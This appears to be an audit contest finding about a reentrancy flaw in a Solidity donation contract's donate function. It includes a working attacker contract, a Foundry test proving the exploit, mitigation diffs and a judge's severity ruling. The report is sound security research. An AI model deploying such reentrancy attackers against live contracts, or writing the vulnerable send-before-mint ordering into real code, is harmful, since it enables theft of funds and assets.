Submission Details
Severity:
`GivingThanks:donate` is vulnerable to reentrancy attack
**Description:**
`GivingThanks:donate` does not follow CEI pattern, which makes it vulnerable to reentrancy attack.
**Impact:**
if an attacker contract is verified as charity, it can call `GivingThanks:donate` in its with a fallback function
and re-enter the `GivingThanks:donate` function to claim ownership of the newly minted NFT.
**Proof of Concept:**
Note: need to fix the registry wrong param first
```diff
constructor(address _registry) ERC721("DonationReceipt", "DRC") {
// @audit-high: wrong param pass in, should be _registry instead of msg.sender
- registry = CharityRegistry(msg.sender);
+ registry = CharityRegistry(_registry);
owner = msg.sender;
tokenCounter = 0;
}
```
create an attacker contract
```javascript
// SPDX-License-Identifier: UNLICENSED
import { GivingThanks } from "./GivingThanks.sol";
contract CharityAttacker {
GivingThanks public giveThanks;
uint256 public counter = 0;
uint256 public constant MAX_COUNTER = 2;
constructor(address _giveThanks) {
giveThanks = GivingThanks(_giveThanks);
}
fallback() external payable {
if(counter < MAX_COUNTER) {
counter++;
giveThanks.donate(address(this));
}
}
}
```
Then add the following into `GiveThanks.t.sol`
```javascript
function testReentrancyAttack() public {
vm.startPrank(malicious_user);
CharityAttacker attacker = new CharityAttacker(address(charityContract));
registryContract.registerCharity(address(attacker));
vm.stopPrank();
console.log(charityContract.registry().isVerified(address(attacker)));
vm.prank(donor);
charityContract.donate{value: 1 ether}(address(attacker));
address ownerOfNewMintedNFT = charityContract.ownerOf(0);
assertNotEq(ownerOfNewMintedNFT, donor);
assertEq(ownerOfNewMintedNFT, address(attacker));
}
```
**Recommended Mitigation:**
rewrite the donate function to follow CEI pattern
```diff
function donate(address charity) public payable {
require(registry.isVerified(charity), "Charity not verified");
+ uint256 currentCounter = tokenCounter;
+ tokenCounter += 1;
- (bool sent,) = charity.call{value: msg.value}("");
- require(sent, "Failed to send Ether");
- _mint(msg.sender, tokenCounter);
+ _mint(msg.sender, currentCounter);
// Create metadata for the tokenURI
string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
- _setTokenURI(tokenCounter, uri);
+ _setTokenURI(currentCounter, uri);
- tokenCounter += 1;
+ (bool sent,) = charity.call{value: msg.value}("");
+ require(sent, "Failed to send Ether");
}
```
Updates
Lead Judging Commences
n0kto about 1 year ago
Submission Judgement Published Assigned finding tags:
finding-donate-reentrancy-multiple-NFT-minted
Impact: High, one charity can reenter the donate function with the same ETH provided and mint several NFT. Likelyhood: Low, any malicious charity can do it but Admin is trusted and should verify the charity contract before "verifying" it.
Rewards breakdown
nSLOC
67This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.